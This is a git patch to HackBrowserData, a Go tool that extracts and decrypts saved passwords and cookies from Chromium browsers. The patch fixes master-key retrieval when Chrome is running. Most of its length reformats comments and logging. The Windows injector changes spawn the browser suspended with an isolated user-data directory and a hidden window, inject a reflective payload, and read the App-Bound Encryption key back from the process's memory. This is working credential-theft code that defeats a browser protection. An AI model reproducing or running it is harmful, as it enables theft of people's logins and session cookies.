From e50c623db01195d40d81df0339b74751119f7f55 Mon Sep 17 00:00:00 2001 From: Roger Date: Sun, 19 Apr 2026 20:07:51 +0800 Subject: [PATCH] fix: retrieve correct ABE master key when browser is running (#577) * fix(windows): retrieve correct ABE master key when browser is running --- CLAUDE.md | 1 + browser/chromium/decrypt.go | 9 ++- browser/chromium/extract_cookie.go | 11 ++-- browser/chromium/extract_password.go | 6 +- crypto/keyretriever/abe_windows.go | 9 ++- crypto/keyretriever/keyretriever.go | 32 +++++----- utils/injector/reflective_windows.go | 94 ++++++++++++++++++++-------- 7 files changed, 105 insertions(+), 57 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 1a6354a..311f424 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -63,6 +63,7 @@ make payload-clean # rm crypto/*.bin - **Error handling**: `fmt.Errorf("context: %w", err)` for wrapping, never `_ =` to ignore errors - **Logging**: `log.Debugf` for record-level diagnostics, `log.Infof` for user-facing progress/status, `log.Warnf` for unexpected conditions. Extract methods should return errors, not log them. - **Naming**: follow Go conventions — `Config` not `BrowserConfig`, `Extract` not `BrowsingData` +- **Comment width**: wrap comments at 120 columns (matches `.golangci.yml` `lll.line-length`) - **Tests**: use `t.TempDir()` for filesystem tests, `go-sqlmock` for database tests - **Architecture**: see `rfcs/` for design documents diff --git a/browser/chromium/decrypt.go b/browser/chromium/decrypt.go index 0bab47c..cf6d56b 100644 --- a/browser/chromium/decrypt.go +++ b/browser/chromium/decrypt.go @@ -6,9 +6,8 @@ import ( "github.com/moond4rk/hackbrowserdata/crypto" ) -// decryptValue decrypts a Chromium-encrypted value using the master key. -// It detects the cipher version from the ciphertext prefix and routes -// to the appropriate decryption function. +// decryptValue decrypts a Chromium-encrypted value using the master key. It detects the cipher version +// from the ciphertext prefix and routes to the appropriate decryption function. func decryptValue(masterKey, ciphertext []byte) ([]byte, error) { if len(ciphertext) == 0 { return nil, nil @@ -20,8 +19,8 @@ func decryptValue(masterKey, ciphertext []byte) ([]byte, error) { // v11 is Linux-only and shares v10's AES-CBC path; only the key source differs. return crypto.DecryptChromium(masterKey, ciphertext) case crypto.CipherV20: - // v20 is cross-platform AES-GCM; routed through a dedicated function so - // Linux/macOS CI can exercise the same decryption path as Windows. + // v20 is cross-platform AES-GCM; routed through a dedicated function so Linux/macOS CI can + // exercise the same decryption path as Windows. return crypto.DecryptChromiumV20(masterKey, ciphertext) case crypto.CipherDPAPI: return crypto.DecryptDPAPI(ciphertext) diff --git a/browser/chromium/extract_cookie.go b/browser/chromium/extract_cookie.go index 5ede706..4827abd 100644 --- a/browser/chromium/extract_cookie.go +++ b/browser/chromium/extract_cookie.go @@ -59,7 +59,7 @@ func extractCookies(masterKey []byte, path string) ([]types.CookieEntry, error) return nil, err } if decryptFails > 0 { - log.Debugf("decrypt cookies: %d failed: %v", decryptFails, lastErr) + log.Warnf("cookies: total=%d decrypt_failed=%d last_err=%v", len(cookies), decryptFails, lastErr) } sort.Slice(cookies, func(i, j int) bool { @@ -72,11 +72,10 @@ func countCookies(path string) (int, error) { return sqliteutil.CountRows(path, false, countCookieQuery) } -// stripCookieHash removes the SHA256(host_key) prefix from a decrypted cookie value. -// Chrome 130+ (Cookie DB schema version 24) prepends SHA256(domain) to the cookie -// value before encryption to prevent cross-domain cookie replay attacks. -// If the first 32 bytes don't match SHA256(hostKey), the value is returned unchanged, -// which handles both older Chrome versions and tampered data. +// stripCookieHash removes the SHA256(host_key) prefix from a decrypted cookie value. Chrome 130+ +// (Cookie DB schema version 24) prepends SHA256(domain) to the cookie value before encryption to +// prevent cross-domain cookie replay attacks. If the first 32 bytes don't match SHA256(hostKey), the +// value is returned unchanged, which handles both older Chrome versions and tampered data. func stripCookieHash(value []byte, hostKey string) []byte { if len(value) < sha256.Size { return value diff --git a/browser/chromium/extract_password.go b/browser/chromium/extract_password.go index bc6f79b..42cca34 100644 --- a/browser/chromium/extract_password.go +++ b/browser/chromium/extract_password.go @@ -45,7 +45,7 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo return nil, err } if decryptFails > 0 { - log.Debugf("decrypt passwords: %d failed: %v", decryptFails, lastErr) + log.Warnf("passwords: total=%d decrypt_failed=%d last_err=%v", len(logins), decryptFails, lastErr) } sort.Slice(logins, func(i, j int) bool { @@ -54,8 +54,8 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo return logins, nil } -// extractYandexPasswords extracts passwords from Yandex's Ya Passman Data, -// which stores the URL in action_url instead of origin_url. +// extractYandexPasswords extracts passwords from Yandex's Ya Passman Data, which stores the URL in +// action_url instead of origin_url. func extractYandexPasswords(masterKey []byte, path string) ([]types.LoginEntry, error) { const yandexLoginQuery = `SELECT action_url, username_value, password_value, date_created FROM logins` return extractPasswordsWithQuery(masterKey, path, yandexLoginQuery) diff --git a/crypto/keyretriever/abe_windows.go b/crypto/keyretriever/abe_windows.go index 85fa504..6275ef9 100644 --- a/crypto/keyretriever/abe_windows.go +++ b/crypto/keyretriever/abe_windows.go @@ -26,12 +26,19 @@ var errNoABEKey = errors.New("abe: Local State has no app_bound_encrypted_key") type ABERetriever struct{} func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, error) { + // Non-ABE Chromium forks (Opera/Vivaldi/Yandex/...) call this with an empty storage key; pre-v20 + // Chrome profiles have no app_bound_encrypted_key in Local State. Both are "ABE not applicable" — + // return (nil, nil) so ChainRetriever falls through to DPAPI silently instead of emitting a Warnf + // for every non-ABE browser. browserKey := strings.TrimSpace(storage) if browserKey == "" { - return nil, fmt.Errorf("abe: empty browser key in storage parameter") + return nil, nil } encKey, err := loadEncryptedKey(localStatePath) + if errors.Is(err, errNoABEKey) { + return nil, nil + } if err != nil { return nil, err } diff --git a/crypto/keyretriever/keyretriever.go b/crypto/keyretriever/keyretriever.go index 99aa788..c6472e2 100644 --- a/crypto/keyretriever/keyretriever.go +++ b/crypto/keyretriever/keyretriever.go @@ -1,26 +1,27 @@ -// Package keyretriever owns the master-key acquisition chain shared by all -// Chromium variants (Chrome, Edge, Brave, Arc, Opera, Vivaldi, Yandex, …). -// The chain is built once per process and reused for every profile. +// Package keyretriever owns the master-key acquisition chain shared by all Chromium variants (Chrome, +// Edge, Brave, Arc, Opera, Vivaldi, Yandex, …). The chain is built once per process and reused for +// every profile. // -// Firefox and Safari do not route through this package — Firefox derives -// its own keys from key4.db via NSS PBE, and Safari reads InternetPassword -// records directly from login.keychain-db. Each browser package owns its -// own credential-acquisition strategy; see rfcs/006-key-retrieval-mechanisms.md -// §7 for the rationale. +// Firefox and Safari do not route through this package — Firefox derives its own keys from key4.db via +// NSS PBE, and Safari reads InternetPassword records directly from login.keychain-db. Each browser +// package owns its own credential-acquisition strategy; see rfcs/006-key-retrieval-mechanisms.md §7 for +// the rationale. package keyretriever import ( "errors" "fmt" + + "github.com/moond4rk/hackbrowserdata/log" ) -// errStorageNotFound is returned when the requested browser storage -// account is not found in the credential store (keychain, keyring, etc.). -// Only used on darwin and linux; Windows uses DPAPI which has no storage lookup. +// errStorageNotFound is returned when the requested browser storage account is not found in the +// credential store (keychain, keyring, etc.). Only used on darwin and linux; Windows uses DPAPI which +// has no storage lookup. var errStorageNotFound = errors.New("not found in credential store") //nolint:unused // only used on darwin and linux -// KeyRetriever retrieves the master encryption key for a Chromium-based browser. -// Each platform has different implementations: +// KeyRetriever retrieves the master encryption key for a Chromium-based browser. Each platform has +// different implementations: // - macOS: Keychain access (security command) or gcoredump exploit // - Windows: DPAPI decryption of Local State file // - Linux: D-Bus Secret Service or fallback to "peanuts" password @@ -28,8 +29,8 @@ type KeyRetriever interface { RetrieveKey(storage, localStatePath string) ([]byte, error) } -// ChainRetriever tries multiple retrievers in order, returning the first success. -// Used on macOS (gcoredump → password → security) and Linux (D-Bus → peanuts). +// ChainRetriever tries multiple retrievers in order, returning the first success. Used on macOS +// (gcoredump → password → security) and Linux (D-Bus → peanuts). type ChainRetriever struct { retrievers []KeyRetriever } @@ -47,6 +48,7 @@ func (c *ChainRetriever) RetrieveKey(storage, localStatePath string) ([]byte, er return key, nil } if err != nil { + log.Warnf("keyretriever %T failed: %v", r, err) errs = append(errs, fmt.Errorf("%T: %w", r, err)) } } diff --git a/utils/injector/reflective_windows.go b/utils/injector/reflective_windows.go index c0e044c..6b32aab 100644 --- a/utils/injector/reflective_windows.go +++ b/utils/injector/reflective_windows.go @@ -47,10 +47,11 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin restore := setEnvTemporarily(env) defer restore() - pi, err := spawnSuspended(exePath) + pi, udd, err := spawnSuspended(exePath) if err != nil { return nil, err } + defer os.RemoveAll(udd) defer windows.CloseHandle(pi.Process) defer windows.CloseHandle(pi.Thread) @@ -67,9 +68,9 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin return nil, err } - // Resume briefly so ntdll loader init completes before we hijack a thread; - // Bootstrap itself is self-contained but the later elevation_service COM - // call inside the payload relies on a fully-initialized PEB. + // Resume briefly so ntdll loader init completes before we hijack a thread; Bootstrap itself is + // self-contained but the later elevation_service COM call inside the payload relies on a + // fully-initialized PEB. _, _ = windows.ResumeThread(pi.Thread) time.Sleep(500 * time.Millisecond) @@ -97,9 +98,8 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin return result.Key, nil } -// scratchResult is the structured view of the 12-byte diagnostic header -// (marker..com_err) plus the optional 32-byte master key the payload -// publishes back into the remote process's scratch region. +// scratchResult is the structured view of the 12-byte diagnostic header (marker..com_err) plus the +// optional 32-byte master key the payload publishes back into the remote process's scratch region. type scratchResult struct { Marker byte Status byte @@ -131,22 +131,64 @@ func validateAndLocateLoader(payload []byte) (uint32, error) { return off, nil } -func spawnSuspended(exePath string) (*windows.ProcessInformation, error) { +// buildIsolatedCommandLine builds the command-line for a spawned, singleton-isolated Chromium process. +// Two upstream Chromium switches: +// - --user-data-dir=: escape the running browser's ProcessSingleton mutex so the suspended +// child survives past main() long enough for the remote Bootstrap thread to complete (issue #576). +// - --no-startup-window: suppress the brief UI splash that Edge/Brave/CocCoc paint despite +// STARTF_USESHOWWINDOW+SW_HIDE (which Chrome honors but brand-forked startup code often ignores). +// +// Adding other flags (--disable-extensions, --disable-gpu, ...) has destabilized Brave in the past +// (payload dies inside DllMain with marker=0x0b); both switches here are upstream-official and safe. +func buildIsolatedCommandLine(exePath, udd string) string { + // %q would Go-escape backslashes (C:\foo → C:\\foo); Windows CommandLineToArgvW then keeps them + // as literal double backslashes in argv. Raw literal quotes match Windows command-line rules. + //nolint:gocritic // sprintfQuotedString: %q is wrong for Windows command-line escaping, see above. + return fmt.Sprintf(`"%s" --user-data-dir="%s" --no-startup-window`, exePath, udd) +} + +// spawnSuspended launches exePath in a fully isolated suspended state. A unique --user-data-dir is +// passed so the spawned chrome.exe does not collide with any already-running Chrome instance's +// ProcessSingleton (which would call ExitProcess as soon as main() runs, killing our remote Bootstrap +// thread before it can publish the master key). The temp UDD is returned so the caller can remove it +// after injection. +func spawnSuspended(exePath string) (*windows.ProcessInformation, string, error) { + udd, err := os.MkdirTemp("", "hbd-inj-udd-*") + if err != nil { + return nil, "", fmt.Errorf("injector: make temp user-data-dir: %w", err) + } + + cmdLine := buildIsolatedCommandLine(exePath, udd) + cmdPtr, err := syscall.UTF16PtrFromString(cmdLine) + if err != nil { + _ = os.RemoveAll(udd) + return nil, "", fmt.Errorf("injector: command line: %w", err) + } exePtr, err := syscall.UTF16PtrFromString(exePath) if err != nil { - return nil, fmt.Errorf("injector: exe path: %w", err) + _ = os.RemoveAll(udd) + return nil, "", fmt.Errorf("injector: exe path: %w", err) + } + // STARTF_USESHOWWINDOW + SW_HIDE asks the child to honor our ShowWindow value on its first + // CreateWindow/ShowWindow call — a standard way to suppress the brief Chrome splash window that + // otherwise flashes because the UDD bypass makes the injected process proceed to the "I am the + // primary instance" branch and start painting UI before we TerminateProcess it. + si := &windows.StartupInfo{ + Flags: windows.STARTF_USESHOWWINDOW, + ShowWindow: windows.SW_HIDE, } - si := &windows.StartupInfo{} pi := &windows.ProcessInformation{} - if err := windows.CreateProcess( - exePtr, nil, nil, nil, + err = windows.CreateProcess( + exePtr, cmdPtr, nil, nil, false, windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW, nil, nil, si, pi, - ); err != nil { - return nil, fmt.Errorf("injector: CreateProcess: %w", err) + ) + if err != nil { + _ = os.RemoveAll(udd) + return nil, "", fmt.Errorf("injector: CreateProcess: %w", err) } - return pi, nil + return pi, udd, nil } func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) { @@ -191,13 +233,12 @@ func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait } } -// readScratch pulls the payload's diagnostic header and (on success) the -// master key out of the target process's scratch region. A non-nil error -// means our own ReadProcessMemory call failed (distinct from the payload -// reporting a structured failure via result.Status/ErrCode/HResult). +// readScratch pulls the payload's diagnostic header and (on success) the master key out of the target +// process's scratch region. A non-nil error means our own ReadProcessMemory call failed (distinct from +// the payload reporting a structured failure via result.Status/ErrCode/HResult). func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error) { - // hdr covers offsets 0x28..0x33: marker, status, extract_err_code, - // _reserved, hresult (LE u32), com_err (LE u32). + // hdr covers offsets 0x28..0x33: marker, status, extract_err_code, _reserved, hresult (LE u32), + // com_err (LE u32). var hdr [12]byte var n uintptr if err := windows.ReadProcessMemory(proc, @@ -232,10 +273,9 @@ func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error) return result, nil } -// patchPreresolvedImports writes five pre-resolved Win32 function pointers -// into the payload's DOS stub so Bootstrap skips PEB.Ldr traversal entirely. -// Validity relies on KnownDlls + session-consistent ASLR (kernel32 and ntdll -// share the same virtual address across processes in one boot session). +// patchPreresolvedImports writes five pre-resolved Win32 function pointers into the payload's DOS stub +// so Bootstrap skips PEB.Ldr traversal entirely. Validity relies on KnownDlls + session-consistent +// ASLR (kernel32 and ntdll share the same virtual address across processes in one boot session). func patchPreresolvedImports(payload []byte) ([]byte, error) { if len(payload) < bootstrap.ImpNtFlushICOffset+8 { return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch") @@ -267,8 +307,8 @@ func patchPreresolvedImports(payload []byte) ([]byte, error) { return patched, nil } -// setEnvTemporarily mutates the current process's env; NOT concurrency-safe. -// Callers must serialize Inject calls. +// setEnvTemporarily mutates the current process's env; NOT concurrency-safe. Callers must serialize +// Inject calls. func setEnvTemporarily(env map[string]string) func() { if len(env) == 0 { return func() {}